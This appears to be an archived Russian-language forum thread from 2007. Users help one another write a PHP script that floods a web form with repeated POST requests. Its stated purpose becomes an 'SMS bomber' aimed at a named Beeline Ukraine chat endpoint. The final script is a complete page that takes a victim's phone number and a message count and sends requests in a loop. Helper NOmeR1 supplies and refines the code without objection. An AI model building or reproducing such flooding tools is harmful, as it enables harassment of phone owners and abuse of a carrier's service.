PDA

Просмотр полной версии : Помогите со скриптом на Php


MisteriX
15.12.2007, 11:42
Вобще нужен скрипт для флудилки пост запросов...
Пример:

Вот обычная хтмл форма
<html>
<Center>
<h2>флудилка</h2>
</center>
<body bgcolor=EEEEFF>
<form action="http://123.ru/index.php" method=POST>
текст для:
<br>
<input name=tel>
<br>
<input type=submit name="sbmt" value="отправить">

Нужно создать пхп срипт каторый будет выполнять этот запрос Нное колчиство раз.... количество раз чтоб задавалось в переменной.

NOmeR1
15.12.2007, 11:56
Ну это же элементарно
<?

$kol_vo = '50'; //сколько раз выполняем запрос
$url = 'http://123.ru/index.php'; //url (то, что записано в action)
$query = 'tel=zapros_k_polu_tel'; //зпрос (name=value&name2=value2 и т.д.)

function file_post_contents($url,$query)
{
$url = parse_url($url);
$fp = fsockopen($url['host'], 80, $errno, $errstr, 30);
if(!$fp)
{
return false;
}
else
{
$postContents = "POST ".$url['scheme']."://".$url['host'].$url['path']."?".$url['query']." HTTP/1.0\r\n".
"Host: ".$url['host']."\r\n".
"Referer: ".$url['scheme']."://".$url['host'].$url['path']."?".$url['query']."\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($query)."\r\n\r\n".
$query;
fputs($fp, $postContents);
$result = '';
while(!feof($fp))
{
$result .= fgets($fp, 128);
}
fclose($fp);
return $result;
}
}
for($i = 0; $i < $kol_vo; $i++)
{
file_post_contents($url, $query);
}

?>

MisteriX
15.12.2007, 12:02
СПС, большпе.... я просто в слкетах не силен

MisteriX
15.12.2007, 14:34
Кароч в итоге должен был получиться флудер билайна.... но чето скрипт не работает....

<html>
<h2><center>CМС флудилка Билайна</center></h2>
<body bgcolor=EEEEFF>
<br>
<form method=POST>
Введите номер мобилы:
<br>
<input name=telefon>
<br>
Введите количество СМС каторые уйдут на мобилу:
<br>
<input name=kols>
<br>
<input type=submit value="Бомбить">
</form>
<?

$kol_vo = $_POST['kols']; //сколько раз выполняем запрос
$url='http://wapcafe.beeline.ua/beeline-ua-chat/index.php?PHPSESSID=ae4527b16688d4007e38a7436f2c5e f7&amp;p=40&amp;rnd=9781&amp;nls=ru'; //url (то, что записано в action)
$query = $_POST['telefon']; //зпрос (name=value&name2=value2 и т.д.)

function file_post_contents($url,$query)
{
$url = parse_url($url);
$fp = fsockopen($url['host'], 80, $errno, $errstr, 30);
if(!$fp)
{
return false;
}
else
{
$postContents = "POST ".$url['scheme']."://".$url['host'].$url['path']."?".$url['query']." HTTP/1.0\r\n".
"Host: ".$url['host']."\r\n".
"Referer: ".$url['scheme']."://".$url['host'].$url['path']."?".$url['query']."\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($query)."\r\n\r\n".
$query;
fputs($fp, $postContents);
$result = '';
while(!feof($fp))
{
$result .= fgets($fp, 128);
}
fclose($fp);
return $result;
}
}
for($i = 0; $i < $kol_vo; $i++)
{
file_post_contents($url, $query);
}

?>

NOmeR1
15.12.2007, 14:46
Неправильно записана переменная $query (надо name=value&name2=value2 и т.д.). Я сомневаюсь, что в action написана твоя сессия и другие данные. На этом сайте ведь нужно залогинеться, а без этого не получится. И нету проверки вписаны поля или нет.

MisteriX
15.12.2007, 14:51
Нет, там логиниться ненужно..... программа denyo флудит смсками по этому линку безупречено.... хотел чтоб скриптом, можно было....

NOmeR1
15.12.2007, 14:53
Нет, там логиниться ненужно..... программа denyo флудит смсками по этому линку безупречено.... хотел чтоб скриптом, можно было....
Дай ссылку на форму с вводом полей, переделаю.

Кстате должны быть включены сокеты.

MisteriX
15.12.2007, 14:55
http://wapcafe.beeline.ua/beeline-ua-chat/index.php?PHPSESSID=a0e70eefa63ce2cfde0f9cbf3e7d78 c3&rnd=3609&p=40

AFoST
15.12.2007, 14:58
Допиши в начало скрипта
errror_reporting(all);
И скажи, какую ошибку пишет.

MisteriX
15.12.2007, 15:02
AFoST, ты ошибся новерное....
Call to undefined function errror_reporting()


Ошибок нет. скрип выполняеться но смски не приходят...

NOmeR1
15.12.2007, 15:03
Проверяй
<html>
<h2><center>CМС флудилка Билайна</center></h2>
<body bgcolor=EEEEFF><br>
<form method=POST>
Введите номер мобилы:<br>
<input name=telefon><br>
Введите количество СМС каторые уйдут на мобилу:<br>
<input name=kols><br>
<input type=submit value="Бомбить">
</form>
</body>
</html>
<?

if($_POST['kols'] && $_POST['telefon'])
{
$kol_vo = $_POST['kols'];
$url='http://wapcafe.beeline.ua/beeline-ua-chat/index.php?p=40&rnd=4806&nls=ru';
$query = 'tel='.$_POST['telefon'].'&sbmt=1';
function file_post_contents($url,$query)
{
$url = parse_url($url);
$fp = fsockopen($url['host'], 80, $errno, $errstr, 30);
if(!$fp)
{
return false;
}
else
{
$postContents = "POST ".$url['scheme']."://".$url['host'].$url['path']."?".$url['query']." HTTP/1.0\r\n".
"Host: ".$url['host']."\r\n".
"Referer: ".$url['scheme']."://".$url['host'].$url['path']."?".$url['query']."\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($query)."\r\n\r\n".
$query;
fputs($fp, $postContents);
$result = '';
while(!feof($fp))
{
$result .= fgets($fp, 128);
}
fclose($fp);
return $result;
}
}
for($i = 0; $i < $kol_vo; $i++)
{
file_post_contents($url, $query);
}
echo('<br>Всё ок!');
}

?>

MisteriX
15.12.2007, 15:09
Блин, опять лажа.... Скрипт выполняеться но смски не приходят...
Немогу понять в чем заморочка